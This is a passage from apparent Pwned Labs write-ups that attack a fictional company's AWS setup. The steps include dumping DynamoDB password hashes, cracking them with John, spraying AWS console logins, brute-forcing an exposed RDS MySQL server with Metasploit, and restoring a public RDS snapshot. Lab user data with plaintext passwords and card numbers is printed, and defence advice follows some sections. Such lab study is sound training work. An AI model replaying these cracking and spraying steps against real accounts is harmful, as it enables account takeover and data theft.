        "TableName": "analytics_app_users",
        "KeySchema": [
            {
                "AttributeName": "UserID",
                "KeyType": "HASH"
            }
        ],
        "TableStatus": "ACTIVE",
        "CreationDateTime": "2023-08-10T04:23:16.704000+08:00",
        "ProvisionedThroughput": {
            "NumberOfDecreasesToday": 0,
            "ReadCapacityUnits": 0,
            "WriteCapacityUnits": 0
        },
        "TableSizeBytes": 7734,
        "ItemCount": 51,
        "TableArn": "arn:aws:dynamodb:us-east-1:243687662613:table/analytics_app_users",
        "TableId": "6568c0bb-bdf7-4380-877c-05b7826505ad",
        "BillingModeSummary": {
            "BillingMode": "PAY_PER_REQUEST",
            "LastUpdateToPayPerRequestDateTime": "2023-08-10T04:23:16.704000+08:00"
        },
        "TableClassSummary": {
            "TableClass": "STANDARD"
        },
        "DeletionProtectionEnabled": true
    }
}

We can see from the above, that there are 51 records and there is a UserID Attribute with what appears to be a String and Hash Value. We extract the information, but it is not in an easy format to use for password cracking.

❯ aws --profile pentester dynamodb scan --table-name analytics_app_users --region us-east-1 > output.json

❯ head -n 25 output.json
{
    "Items": [
        {
            "UserID": {
                "S": "nbose"
            },
            "Role": {
                "N": "0"
            },
            "FirstName": {
                "S": "Nigel"
            },
            "LastName": {
                "S": "Bose"
            },
            "Email": {
                "S": "nbose@huge-logistics.com"
            },
            "PasswordHash": {
                "S": "22edc41d491015e81f67da568fb2726cf739c42b2974d32d2f41163af4ccb1a3"
            }
        },
        {
            "UserID": {
                "S": "fnoye"

There are several approaches that we could take to make this easily accessible, but we will use jq and awk to get this into a CSV file which will make it easier for us to use going forward:

❯ jq -r '.Items[] | [.UserID.S, .Role.N, .FirstName.S, .LastName.S, .Email.S, .PasswordHash.S] | @csv' output.json | awk 'BEGIN {print "UserID,Role,FirstName,LastName,Email,PasswordHash"} {print}' > output.csv

❯ head output.csv
UserID,Role,FirstName,LastName,Email,PasswordHash
"nbose","0","Nigel","Bose","nbose@huge-logistics.com","22edc41d491015e81f67da568fb2726cf739c42b2974d32d2f41163af4ccb1a3"
"fnoye","0","Frank","Noye","fnoye@huge-logistics.com","616bc4bbd5ba569131bd6fd76afbb9a69b327e2a0248a6377d86ca490460c6c8"
"jyoshida","0","Jos","Yoshida","jyoshida@huge-logistics.com","19924b2d08e2816a18b865a38b9b19fba587756cf652f9943fe07f7a7cb477cf"
"blee","0","Brian","Lee","blee@huge-logistics.com","40f123e673be9c142cd59bf3219d0f6b8219e9b99e0f9df5a7c2768ddab804e1"
"bsato","0","Brian","Sato","bsato@huge-logistics.com","631bc78fa722c499a8ce71167d5fe822d8fbaeaacfefe7ded5d2f67647e4f9da"
"ibaker","0","Irene","Baker","ibaker@huge-logistics.com","fea64339e5707795d507918d6c98925fce7e294a8690e5ed7cfd375df0295578"
"vkawasaki","0","Vic","Kawasaki","vkawasaki@huge-logistics.com","2c8c9030223e3192e96d960f19b0ecf9a9ba93175565cb987b28ec69b027ae86"
"hstone","0","Helen","Stone","hstone@huge-logistics.com","f1cb78978b5ad74ffaec55da9a0edb06c0ba52665046ada31682f082dfa1c2e7"
"vmuller","0","Victor","Muller","vmuller@huge-logistics.com","60081872664ffcaa0a26861ff96b47d35c85f56bacab7d62a11960bf955a4668"

We now need to convert this into a format that is easy for us to use with password crackers such as Hashcat and John the Ripper and will create a list with the format userID:PasswordHash doing a little BashFu with awk

❯ awk -F "," 'NR > 1 {gsub("\"", "", $1); gsub("\"", "", $NF); print $1 ":" $NF}' output.csv > user_hash.lst

❯ head user_hash.lst
nbose:22edc41d491015e81f67da568fb2726cf739c42b2974d32d2f41163af4ccb1a3
fnoye:616bc4bbd5ba569131bd6fd76afbb9a69b327e2a0248a6377d86ca490460c6c8
jyoshida:19924b2d08e2816a18b865a38b9b19fba587756cf652f9943fe07f7a7cb477cf
blee:40f123e673be9c142cd59bf3219d0f6b8219e9b99e0f9df5a7c2768ddab804e1
bsato:631bc78fa722c499a8ce71167d5fe822d8fbaeaacfefe7ded5d2f67647e4f9da
ibaker:fea64339e5707795d507918d6c98925fce7e294a8690e5ed7cfd375df0295578
vkawasaki:2c8c9030223e3192e96d960f19b0ecf9a9ba93175565cb987b28ec69b027ae86
hstone:f1cb78978b5ad74ffaec55da9a0edb06c0ba52665046ada31682f082dfa1c2e7
vmuller:60081872664ffcaa0a26861ff96b47d35c85f56bacab7d62a11960bf955a4668
tmartins:a41cdf83893f8d9530d69782c9687f90d150656a77b84f42b624a7fcd5456e77

Now we have a our username and password hash list, lets work out what type of hash this could be using hashid

❯ echo -n "22edc41d491015e81f67da568fb2726cf739c42b2974d32d2f41163af4ccb1a3" | hashid
Analyzing '22edc41d491015e81f67da568fb2726cf739c42b2974d32d2f41163af4ccb1a3'
[+] Snefru-256
[+] SHA-256
[+] RIPEMD-256
[+] Haval-256
[+] GOST R 34.11-94
[+] GOST CryptoPro S-Box
[+] SHA3-256
[+] Skein-256
[+] Skein-512(256)

Logical choice from the above list would be SHA-256 and we have been able to crack 18 of the 51 passwords using John

❯ john --wordlist=/usr/share/wordlists/rockyou.txt --format=Raw-SHA256 --fork=4 user_hash.lst
Using default input encoding: UTF-8
Loaded 51 password hashes with no different salts (Raw-SHA256 [SHA256 512/512 AVX512BW 16x])
Node numbers 1-4 of 4 (fork)
logistic         (odas)
Press 'q' or Ctrl-C to abort, almost any other key for status
Password123      (nliu)
Summer01         (vkawasaki)
Abc123!!         (rstead)
travelling08     (sgarcia)
airfreight       (aramirez)
R0ckY0u!         (gpetersen)
Wilco6!!!        (fwallman)
freightliner01   (isilva)
shipping2        (cjoyce)
Sparkery2*       (rthomas)
Tr@vis83         (pmuamba)
soccer!1         (pkaur)
southbeach123    (nwaverly)
montecarlo98     (bjohnson)
analytical       (cchen)
1logistics       (jyoshida)
4 6g 0:00:00:00 DONE (2024-07-01 15:47) 24.00g/s 14343Kp/s 14343Kc/s 664049KC/s !ILOVEJARE..*7¡Vamos!
3 5g 0:00:00:00 DONE (2024-07-01 15:47) 18.51g/s 13280Kp/s 13280Kc/s 619365KC/s !Iluvmike.1@RICK.a6_123
2 4g 0:00:00:00 DONE (2024-07-01 15:47) 14.81g/s 13280Kp/s 13280Kc/s 640522KC/s !Gw33Drag0n.abygurl69
01summertime     (adell)
1 3g 0:00:00:00 DONE (2024-07-01 15:47) 10.71g/s 12806Kp/s 12806Kc/s 633329KC/s !JAYLOVE3.ie168
Waiting for 3 children to terminate
Use the "--show --format=Raw-SHA256" options to display all of the cracked passwords reliably
Session completed.

We can view these in a clean list that we will use for credential stuffing to try and get console access

❯ john user_hash.lst --show --format=Raw-SHA256
jyoshida:1logistics
vkawasaki:Summer01
aramirez:airfreight
gpetersen:R0ckY0u!
cchen:analytical
rstead:Abc123!!
sgarcia:travelling08
adell:01summertime
rthomas:Sparkery2*
nliu:Password123
isilva:freightliner01
odas:logistic
pmuamba:Tr@vis83
pkaur:soccer!1
nwaverly:southbeach123
cjoyce:shipping2
fwallman:Wilco6!!!
bjohnson:montecarlo98

18 password hashes cracked, 33 left

We have piped this into vim and removed the unnecessary rows and then down some quick substitution commands to extract the usernames and passwords and then write them out to the respective files.

Within VIM go into command mode and enter %s/:.*//g which will strip away everything after the “:” and then save this using w usernames.txt and then press u to undo and then %s/.*://g which will strip away the username portion and then w passwords.txt and exit VIM

Now that we have a list of usernames and passwords, we will use GoAWSConsoleSpray after we have installed it by running the command go install github.com/WhiteOakSecurity/GoAWSConsoleSpray@latest and we run it with no flags and we get the following output

❯ GoAWSConsoleSpray
Error: required flag(s) "accountID", "passfile", "userfile" not set
Usage:
  GoAWSConsoleSpray [flags]

Flags:
  -a, --accountID string   AWS Account ID (required)
  -d, --delay int          Optional Time Delay Between Requests for rate limiting
  -h, --help               help for GoAWSConsoleSpray
  -p, --passfile string    Password list (required)
  -x, --proxy string       HTTP or Socks proxy URL & Port. Schema: proto://ip:port
  -s, --stopOnSuccess      Stop password spraying on successful hit
  -u, --userfile string    Username list (required)
  -v, --verbose            Enable verbose logging

This is loud and is not trying to hide itself and caution should be exercised as there is a high probability that you could get your IP Blocked by AWS and also this will show up in CloudTrail Logs

We have found a valid username and password and then terminated the script

❯ GoAWSConsoleSpray -a 243687662613 -u usernames.txt -p passwords.txt
2024/07/01 16:11:20 GoAWSConsoleSpray: [18] users loaded. [18] passwords loaded. [324] potential login requests.
2024/07/01 16:11:20 Spraying User: arn:aws:iam::243687662613:user/jyoshida
2024/07/01 16:11:38 Spraying User: arn:aws:iam::243687662613:user/vkawasaki
2024/07/01 16:11:55 Spraying User: arn:aws:iam::243687662613:user/aramirez
2024/07/01 16:12:12 Spraying User: arn:aws:iam::243687662613:user/gpetersen
2024/07/01 16:12:30 Spraying User: arn:aws:iam::243687662613:user/cchen
2024/07/01 16:12:47 Spraying User: arn:aws:iam::243687662613:user/rstead
2024/07/01 16:12:53 (rstead)    [+] SUCCESS:    Valid Password: Abc123!!        MFA: false
2024/07/01 16:12:53 Spraying User: arn:aws:iam::243687662613:user/sgarcia
2024/07/01 16:13:09 Spraying User: arn:aws:iam::243687662613:user/adell
2024/07/01 16:13:26 Spraying User: arn:aws:iam::243687662613:user/rthomas

We then proceed to the AWS Console and log in with the credentials that we have found and are able to login and can see that the user has recently visited DynamoDB

We look around and we have access to the user_order_logs and we can explore the table and of course we are able to export this to CSV which contains PII data.

PWNED!

A public S3 bucket revealed more than expected, leading to a cascade of vulnerabilities stemming from common security pitfalls. From exposed credentials to lax access controls, each misstep paved the way for a series of lateral movements that culminated in a breach of sensitive data. This narrative serves as a stark reminder of the critical importance of robust defense measures and proactive security practices.

Remember:

Avoid Storing Secrets in Applications
Implement Robust Access Controls
Enforce Strong Password Policies
Monitor and Audit Activity as well as implementing rate limiting to detect and prevent brute-force attacks
Deploy Multi-Factor authentication
Securely Manage Cloud Storage

Pnwed Labs - Pillage Exposed RDS Instances

Thu, 27 Jun 2024 15:47:20 +0800

Pwned Labs - Pillage Exposed RDS Instances

Scenario

In the backdrop of rising cybersecurity threats, with chatter on Telegram channels hinting at data dumps and Pastebin snippets exposing snippets of configurations, Huge Logistics is taking no chances. They’ve enlisted your team’s expertise to rigorously assess their cloud infrastructure. Armed with a list of IP addresses and endpoints, a lead emerged — an RDS endpoint: exposed.cw9ow1llpfvz.eu-north-1.rds.amazonaws.com. Your mission? Dive deep into this endpoint’s security, and identify any security issues before threat actors do.

Learning Outcomes

Familiarity with Nmap and the mysql-brute script
Familiarity with the MySQL cli
An awareness of how this could be remediated and detected

Real World Context

Amazon Relational Database Service (RDS) is a web service that allows for easy set up, operation, and scaling of relational databases in the cloud. Administration tasks such as hardware provisioning, database setup, patching, and backups are handled by AWS, allowing us to spend more time at the application level.

Amazon RDS supports several database instances including:

Amazon Aurora (port 3306)
PostgreSQL (5432)
MySQL (port 3306)
MariaDB (port 3306)
Oracle Database (port 1521)
SQL Server (port 1433)

Brute force attacks on exposed infrastructure are very common, and exposed Amazon RDS instances are no exception. Many times databases can contain highly sensitive data, so they are an attractive target. Although database default account lockout policies should prevent many noisy password brute force attacks, it may not be as effective against a more careful attacker that uses multiple IP addresses and attempts a smaller number of common usernames and passwords over a longer duration. Aside from brute force attacks, exposed infrastructure are also open to denial of service (DoS) attacks. Ultimately it’s best no to rely on a single layer of defense (application layer security) to protect sensitive data.

It’s worth noting that although in this scenario an RDS endpoint was provided, that resolves to a dynamic RDS IP address from the EC2 address pool. We could just as well connect to the IP address in this lab.

Attack

We know that we are looking for a database, so we will run rustscan limiting the ports to only those that are common database ports and we find that Port 3306 is open and running MySQL

❯ rustscan -a exposed.cw9ow1llpfvz.eu-north-1.rds.amazonaws.com -p 1433,1521,3306,5432 -- -A
.----. .-. .-. .----..---.  .----. .---.   .--.  .-. .-.
| {}  }| { } |{ {__ {_   _}{ {__  /  ___} / {} \ |  `| |
| .-. \| {_} |.-._} } | |  .-._} }\     }/  /\  \| |\  |
`-' `-'`-----'`----'  `-'  `----'  `---' `-'  `-'`-' `-'
The Modern Day Port Scanner.
________________________________________
: http://discord.skerritt.blog         :
: https://github.com/RustScan/RustScan :
 --------------------------------------
I scanned ports so fast, even my computer was surprised.

[~] The config file is expected to be at "/home/n3ph0s/.rustscan.toml"
[!] File limit is lower than default batch size. Consider upping with --ulimit. May cause harm to sensitive servers
[!] Your file limit is very small, which negatively impacts RustScan's speed. Use the Docker image, or up the Ulimit with '--ulimit 5000'.
Open 16.171.94.68:1433
Open 16.171.94.68:5432
Open 16.171.94.68:1521
Open 16.171.94.68:3306
[~] Starting Script(s)
[>] Running script "nmap -vvv -p {{port}} {{ip}} -A" on ip 16.171.94.68
Depending on the complexity of the script, results may take some time to appear.
[~] Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-06-27 13:32 PST
Scanned at 2024-06-27 13:32:11 PST for 293s

PORT     STATE SERVICE     REASON  VERSION
1433/tcp open  ms-sql-s?   syn-ack
1521/tcp open  oracle?     syn-ack
3306/tcp open  mysql       syn-ack MySQL 8.0.32
| mysql-info:
|   Protocol: 10
|   Version: 8.0.32
|   Thread ID: 521105
|   Capabilities flags: 65535
|   Some Capabilities: InteractiveClient, Support41Auth, DontAllowDatabaseTableColumn, Speaks41ProtocolOld, LongPassword, SupportsTransactions, IgnoreSigpipes, Speaks41ProtocolNew, SupportsCompression, ODBCClient, SwitchToSSLAfterHandshake, LongColumnFlag, SupportsLoadDataLocal, IgnoreSpaceBeforeParenthesis, ConnectWithDatabase, FoundRows, SupportsMultipleStatments, SupportsMultipleResults, SupportsAuthPlugins
|   Status: Autocommit
|   Salt: \x08\x01*V\x03k\x0FzD\x11'\x05:bPB\z\x11\x13
|_  Auth Plugin Name: mysql_native_password
| ssl-cert: Subject: commonName=exposed.cw9ow1llpfvz.eu-north-1.rds.amazonaws.com/organizationName=Amazon.com/stateOrProvinceName=Washington/countryName=US/localityName=Seattle/organizationalUnitName=RDS
| Subject Alternative Name: DNS:exposed.cw9ow1llpfvz.eu-north-1.rds.amazonaws.com
| Issuer: commonName=Amazon RDS eu-north-1 Subordinate CA ECC384 G1.A.5/organizationName=Amazon Web Services, Inc./stateOrProvinceName=WA/countryName=US/organizationalUnitName=Amazon RDS/localityName=Seattle
| Public Key type: ec
| Public Key bits: 384
| Signature Algorithm: ecdsa-with-SHA384
| Not valid before: 2024-04-10T04:17:14
| Not valid after:  2025-04-10T04:17:14
| MD5:   8487:d764:a9ae:71de:c512:e6ef:f665:d0b2
| SHA-1: f382:5d75:f86b:4152:3391:ef34:1de2:d558:a932:36c1
| -----BEGIN CERTIFICATE-----
| MIIDATCCAoagAwIBAgIRAM8/a3UpYAtV8nRDFaBUnVcwCgYIKoZIzj0EAwMwgaIx
| CzAJBgNVBAYTAlVTMSIwIAYDVQQKDBlBbWF6b24gV2ViIFNlcnZpY2VzLCBJbmMu
| MRMwEQYDVQQLDApBbWF6b24gUkRTMQswCQYDVQQIDAJXQTE7MDkGA1UEAwwyQW1h
| em9uIFJEUyBldS1ub3J0aC0xIFN1Ym9yZGluYXRlIENBIEVDQzM4NCBHMS5BLjUx
| EDAOBgNVBAcMB1NlYXR0bGUwHhcNMjQwNDEwMDQxNzE0WhcNMjUwNDEwMDQxNzE0
| WjCBkzE6MDgGA1UEAwwxZXhwb3NlZC5jdzlvdzFsbHBmdnouZXUtbm9ydGgtMS5y
| ZHMuYW1hem9uYXdzLmNvbTEMMAoGA1UECwwDUkRTMRMwEQYDVQQKDApBbWF6b24u
| Y29tMRAwDgYDVQQHDAdTZWF0dGxlMRMwEQYDVQQIDApXYXNoaW5ndG9uMQswCQYD
| VQQGEwJVUzB2MBAGByqGSM49AgEGBSuBBAAiA2IABB6MhqNvpqjjWWwsxXAif9QN
| DtRvTFXD1RbQISltKYOL5NSTUwvlfI4s3dDLxaLHIzBIXcfR6QQ9W8z6vf23R0rX
| QZ3xcZKPbKLDW22Qj5v4dy0NrxPAhNZrXchhif7RpKOBjDCBiTA8BgNVHREENTAz
| gjFleHBvc2VkLmN3OW93MWxscGZ2ei5ldS1ub3J0aC0xLnJkcy5hbWF6b25hd3Mu
| Y29tMAkGA1UdEwQCMAAwHwYDVR0jBBgwFoAU0XeoKj2EpfNPeRE7PSyHotXu/Rww
| HQYDVR0OBBYEFI+po9dcNXv0cdRJHPL2XoSYNnOIMAoGCCqGSM49BAMDA2kAMGYC
| MQCzjouq9Uf2UKp9uOpQmaH+VSJH6NTkacGan+FVk4KBSEq7ORb3CxjqKZuSMR5q
| a/0CMQCVXedMBszw3B/aV76XWnrciWGlOV8dWNzjHAZJhqnxA/p+kF9lN/5wvtxd
| OP1p6B8=
|_-----END CERTIFICATE-----
5432/tcp open  postgresql? syn-ack

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 292.67 seconds

We can see from the above output that it is publicly accessible and we attempt to login using root:root and root with no password

❯ mysql -h exposed.cw9ow1llpfvz.eu-north-1.rds.amazonaws.com -u root -proot
ERROR 1045 (28000): Access denied for user 'root'@'37.19.201.131' (using password: YES)

❯ mysql -h exposed.cw9ow1llpfvz.eu-north-1.rds.amazonaws.com -u root
ERROR 1045 (28000): Access denied for user 'root'@'37.19.201.131' (using password: NO)

We can look for NMAP Scripts that we can use and we filter by those with mysql and we can see a list of them.

❯ ls /usr/share/nmap/scripts | grep -i mysql
.rw-r--r-- 6.7k root 21 Jun 02:27 mysql-audit.nse
.rw-r--r-- 3.0k root 21 Jun 02:27 mysql-brute.nse
.rw-r--r-- 2.9k root 21 Jun 02:27 mysql-databases.nse
.rw-r--r-- 3.3k root 21 Jun 02:27 mysql-dump-hashes.nse
.rw-r--r-- 2.0k root 21 Jun 02:27 mysql-empty-password.nse
.rw-r--r-- 3.4k root 21 Jun 02:27 mysql-enum.nse
.rw-r--r-- 3.5k root 21 Jun 02:27 mysql-info.nse
.rw-r--r-- 3.7k root 21 Jun 02:27 mysql-query.nse
.rw-r--r-- 2.8k root 21 Jun 02:27 mysql-users.nse
.rw-r--r-- 3.3k root 21 Jun 02:27 mysql-variables.nse
.rw-r--r-- 7.0k root 21 Jun 02:27 mysql-vuln-cve2012-2122.nse

We will use the mysql-brute.nse and we look up the script arguments at https://nmap.org/nsedoc/scripts/mysql-brute.html and then we look at the brute library for the credentials file noting that the file needs to be separated by a `/

We look at the file and we can see that the current separator is : and there are numerous ways to fix this, but we will do it with VIM and then save the file in our working directory.

Option 1 - NMAP Script (Not working)

The first approach was to use the NMAP Script, but for some reason, this was not working and after some initial troubleshooting, moved onto other approaches that could achieve the same objective.

❯ nmap -Pn -p 3306 --script=mysql-brute --script-args brute.delay=10,brute.mode=creds,brute.credfile=mysql-creds.txt exposed.cw9ow1llpfvz.eu-north-1.rds.amazonaws.com
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-06-27 14:42 PST
Nmap scan report for exposed.cw9ow1llpfvz.eu-north-1.rds.amazonaws.com (16.171.94.68)
Host is up (0.038s latency).
rDNS record for 16.171.94.68: ec2-16-171-94-68.eu-north-1.compute.amazonaws.com

PORT     STATE SERVICE
3306/tcp open  mysql
| mysql-brute:
|   Accounts: No valid accounts found
|_  Statistics: Performed 0 guesses in 10 seconds, average tps: 0.0

Nmap done: 1 IP address (1 host up) scanned in 10.28 seconds

Option 2 - Metasploit (Worked)

If at first you don’t succeed, find another way and using the auxiliary/scanner/mysql/mysql_login we have been able to find valid credentials (output pruned for readability)

msf6 auxiliary(scanner/mysql/mysql_login) > run

[+] 16.171.94.68:3306     - 16.171.94.68:3306 - Found remote MySQL version 8.0.32
[!] 16.171.94.68:3306     - No active DB -- Credential data will not be saved!
[-] 16.171.94.68:3306     - 16.171.94.68:3306 - LOGIN FAILED: root: (Incorrect: Access denied for user 'root'@'37.19.201.131' (using password: NO))
[+] 16.171.94.68:3306     - 16.171.94.68:3306 - Success: 'dbuser:123'
[-] 16.171.94.68:3306     - 16.171.94.68:3306 - LOGIN FAILED: root:123qweASD# (Incorrect: Access denied for user 'root'@'37.19.201.131' (using password: YES))
[*] exposed.cw9ow1llpfvz.eu-north-1.rds.amazonaws.com:3306 - Scanned 1 of 1 hosts (100% complete)
[*] exposed.cw9ow1llpfvz.eu-north-1.rds.amazonaws.com:3306 - Bruteforce completed, 1 credential was successful.
[*] exposed.cw9ow1llpfvz.eu-north-1.rds.amazonaws.com:3306 - You can open an MySQL session with these credentials and CreateSession set to true
[*] Auxiliary module execution completed
msf6 auxiliary(scanner/mysql/mysql_login) >

Having found valid credentials, we can login

❯ mysql -h exposed.cw9ow1llpfvz.eu-north-1.rds.amazonaws.com -u dbuser -p
Enter password:
Welcome to the MariaDB monitor.  Commands end with ; or \g.
Your MySQL connection id is 521276
Server version: 8.0.32 Source distribution

Copyright (c) 2000, 2018, Oracle, MariaDB Corporation Ab and others.

Support MariaDB developers by giving a star at https://github.com/MariaDB/server
Type 'help;' or '\h' for help. Type '\c' to clear the current input statement.

MySQL [(none)]>

After having successfully logging in, the first thing that we want to do is get an understanding of our permissions by looking for any grants.

MySQL [(none)]> show grants for 'dbuser';
+-----------------------------------------------------+
| Grants for dbuser@%                                 |
+-----------------------------------------------------+
| GRANT USAGE ON *.* TO `dbuser`@`%`                  |
| GRANT SELECT ON `user_info`.`flag` TO `dbuser`@`%`  |
| GRANT SELECT ON `user_info`.`users` TO `dbuser`@`%` |
+-----------------------------------------------------+
3 rows in set (0.366 sec)

We have select (read) permissions over the users and flag tables in the user_info database.

MySQL [(none)]> use user_info;
Reading table information for completion of table and column names
You can turn off this feature to get a quicker startup with -A

Database changed
MySQL [user_info]> select * from users;
+--------+---------------+----------------+--------------------------------------+--------------+-----------------+---------------------+
| userId | fname         | lname          | email                                | password     | ip_address      | creditcard          |
+--------+---------------+----------------+--------------------------------------+--------------+-----------------+---------------------+
|      1 | Erwin         | Eringey        | eeringey0@epa.gov                    | JQ6VoFjGT    | 244.218.113.151 | 3551222381964508    |
|      2 | Carolyne      | Koppens        | ckoppens1@scribd.com                 | YEclSnT3mZA  | 235.196.167.220 | 3565797270077680    |
|      3 | Isa           | Tapsell        | itapsell2@sbwire.com                 | Mrz5z7rB8J   | 100.112.175.106 | 6761958300756751    |
|      4 | Colette       | Wickett        | cwickett3@delicious.com              | GNKKi5HeKW0  | 228.133.52.127  | 201514087172570     |
|      5 | Irwinn        | Hotton         | ihotton4@tinypic.com                 | YdfVC60vLOU  | 106.40.168.188  | 3561287714912092    |
|      6 | Sarena        | Pinke          | spinke5@google.cn                    | 029g4WGfBS   | 159.164.198.255 | 3537202178098610    |
|      7 | Jeddy         | Lyptratt       | jlyptratt6@umn.edu                   | Pw8hPPsW     | 41.193.246.164  | 6767121419728674965 |
|      8 | Betsey        | Matthew        | bmatthew7@imageshack.us              | RnZabGnRb    | 123.2.192.187   | 3584286805742114    |
|      9 | Gilberto      | Marioneau      | gmarioneau8@rambler.ru               | 7kiPucR6jQ   | 71.190.225.134  | 5100177821388158    |
|     10 | Barbaraanne   | Trulock        | btrulock9@salon.com                  | XAp9Tq9rm4Q6 | 234.176.167.69  | 201928858923385     |
|     11 | Bess          | Alliott        | balliotta@amazonaws.com              | gDrDMI       | 174.46.9.155    | 6331108242582523108 |
|     12 | Corinne       | Viel           | cvielb@wired.com                     | FzVbvXN      | 198.190.169.181 | 30254016332758      |
|     13 | Ber           | Tadd           | btaddc@businesswire.com              | oFSSsGRFettd | 174.160.194.237 | 201990157425199     |
|     14 | Lin           | Blayney        | lblayneyd@walmart.com                | VDtoDz       | 12.232.1.7      | 201473089851295     |
|     15 | Kameko        | Southcoat      | ksouthcoate@pagesperso-orange.fr     | 1fMq28       | 205.185.104.201 | 3589099675330950    |
|     16 | Zonnya        | Francescuccio  | zfrancescucciof@opensource.org       | dA4PNtAyN    | 55.98.121.182   | 4844163019617016    |
|     17 | Reagan        | Dominiak       | rdominiakg@netvibes.com              | nZAFgn8HdB   | 30.25.21.23     | 5602223993754687    |
|     18 | Mala          | Jacquemet      | mjacquemeth@g.co                     | ceFQvqDaBlbY | 177.95.206.144  | 490597867959289814  |
|     19 | Valeda        | Neighbour      | vneighbouri@mlb.com                  | jxcOQOcgTG   | 110.55.85.213   | 6709816262644875    |
|     20 | Rolf          | Frango         | rfrangoj@shop-pro.jp                 | Y19IN9Xrk    | 117.198.152.27  | 6331100394503481    |
|     21 | Benji         | Markel         | bmarkelk@yellowpages.com             | wzgonZf      | 139.159.251.228 | 5126731712507357    |
|     22 | Vladimir      | Seaborn        | vseabornl@surveymonkey.com           | PaHfrsSOU    | 120.71.140.119  | 5447338871358390    |
|     23 | Antons        | Teers          | ateersm@chronoengine.com             | Fkc5x0a13DWH | 15.11.230.80    | 3540134552219915    |
|     24 | Kylila        | Penquet        | kpenquetn@who.int                    | uw9JY8N6cq   | 136.101.18.241  | 5610883887259598657 |
|     25 | Georgine      | Tonbye         | gtonbyeo@rambler.ru                  | OmY09LzT     | 54.139.176.95   | 56022567085812372   |
< --snip -- >
|    875 | Loren         | Bromont        | lbromontoa@sciencedaily.com          | 63bhmZ0      | 149.221.40.114  | 3542382422088980    |
+--------+---------------+----------------+--------------------------------------+--------------+-----------------+---------------------+
875 rows in set (1.030 sec)

We can see that this contains PII (Personally Identifiable Information) and unencrypted passwords 🤦

PWNED!

Defense

There are a number of failings here and a key one is understanding all the assets that the organisation has, where they are accessible from and who has permissions over them. In this example there is a Database that is publicly exposed which should never be the case. A low-tech, yet powerful exercise is to undertake frequent inventories and also have visibility into what assets are publicly exposed and evaluate if they have a legitimate business reason to be so.

The following is a CLI command to list publicly exposed RDS Instances in AWS

❯ aws --profile rds rds describe-db-instances --query 'DBInstances[*].PubliclyAccessible' --query 'DBInstances[*].DBInstanceIdentifier'
[
    "exposed",
    "huge-logistics-stock"
]

The other was that the Password was weak and it is strongly recommended and best practice to have a strong password policy as well as ensuring database / table level encryption for sensitive data.

Lastly, enabling of audit logging and pushing these to CloudWatch is recommended.

Pwned Labs - Plunder Public RDS Snapshots

Tue, 25 Jun 2024 17:06:32 +0800

Pnwed Labs - Plunder Public RDS Snapshots

Entry Point

AWS Account ID: 104506445608

Scenario

Huge Logistics, a global logistics leader, has enlisted your team’s expertise for an external security review of their cloud infrastructure. Starting with the provided AWS Account ID, your task is to uncover security flaws within their AWS environment and demonstrate the potential risks they pose. Every finding will bolster their defense against future threats.

Learning Outcomes

Familiarity with the AWS RDS console
Familiarity with the PostgreSQL cli
An awareness of how this could be remediated and detected

Real World Context

Legions of databases are being inadvertently exposed on AWS due to the RDS (Relational Database Service) public snapshot feature. The Mitiga Research Team found that within a month, out of 2,783 RDS snapshots, 810 were consistently public, and 1,859 were public for one to two days. This public setting allows unauthorized access to potentially sensitive data, and threat actors can exploit this data for ransomware, extortion, or other malicious activities.

Attack

As we only have the account ID for the target AWS account, we will have to use our credentials for the enumeration and we have confirmed that these are working by running the command aws sts get-caller-identity.

For enumeration of RDS Instance we have the option to search for snapshots from single RDS Database Instances or Clusters. We will first start with a Single RDS instance.

❯ aws rds describe-db-snapshots --snapshot-type public --include-public --region us-east-1 | grep 104506445608

We get no response, so we will modify the query to search for Cluster RDS Instances.

❯ aws rds describe-db-cluster-snapshots --snapshot-type public --include-public --region us-east-1 | grep 104506445608
            "DBClusterSnapshotIdentifier": "arn:aws:rds:us-east-1:104506445608:cluster-snapshot:orders-private",
            "DBClusterSnapshotArn": "arn:aws:rds:us-east-1:104506445608:cluster-snapshot:orders-private",

You can see that this reveals a RDS cluster snapshot name orders-private. We will login to our AWS console and then navigate to RDS -> Snapshots -> Public and filter for “orders-private”

We click on the Snapshot name and we can see all the details about it, noting that the DB engine is aurora-postgresql.

From the Actions drop-down, we will select Restore Snapshot

We are then presented with a list of options which we will go through. For the DB Instances settings, we will accept the defaults and under Settings, enter any label for the Db Instance Identifier

Under Instance Configuration, select Burstable classes (includes t classes) and then make sure that db.t3.medium is selected.

Under Connectivity ensure that Public Access is set to No and choose the option to create a new Security Group which we will call snappy

We can leave the other settings as default and then click Restore DB Cluster

The restore process is underway and this would be a really good time to grab a coffee and stretch your legs as it will take some time.

Once the database cluster is restored and the status shows “Available”, we select pwnedlabs-cluster and from the Actions drop-down menu select Set up EC2 Connection.

As we don’t have an EC2 already running, we will click Create EC2 Instance

We created our instance and then selected it from the drop-down menu and then select Continue

We review the setting and then select Set up

There is one small problem, we don’t know the Master Password for the Database! We can fix that by selecting the database clicking modify

We enter a new password and then select Continue

Confirm that the Apply immediately radio button is selected and then click Modify DB Instance and await for confirmation.

Now that we have reset the Master DB password, we need to get the endpoint details for the DB by clicking on the Database and making a note of the Endpoint details

We now connect to the EC2 client that we provisioned earlier and depending on the distribution that you chose you will need to install the the postgres client tools.

# RPM Distributions e.g. Amazon Linux
sudo yum install -y postgresql15.x86_64

# Debian based Distributions e.g. Ubuntu, Debian
sudo apt update && sudo apt install -y postgresql-client

Once we have installed the Postgresql Client, we can then connect to the the database.

[ec2-user@ip-172-31-2-135 ~]$ psql -h pwnedlabs.cfzdnjlbu5mp.us-east-1.rds.amazonaws.com -U postgres
Password for user postgres: 
psql (15.7, server 14.11)
SSL connection (protocol: TLSv1.3, cipher: TLS_AES_256_GCM_SHA384, compression: off)
Type "help" for help.

postgres=> \list
                                                  List of databases
    Name     |  Owner   | Encoding |   Collate   |    Ctype    | ICU Locale | Locale Provider |   Access privileges   
-------------+----------+----------+-------------+-------------+------------+-----------------+-----------------------
 cust_orders | postgres | UTF8     | en_US.UTF-8 | en_US.UTF-8 |            | libc            | 
 postgres    | postgres | UTF8     | en_US.UTF-8 | en_US.UTF-8 |            | libc            | 
 rdsadmin    | rdsadmin | UTF8     | en_US.UTF-8 | en_US.UTF-8 |            | libc            | rdsadmin=CTc/rdsadmin+
             |          |          |             |             |            |                 | rdstopmgr=Tc/rdsadmin
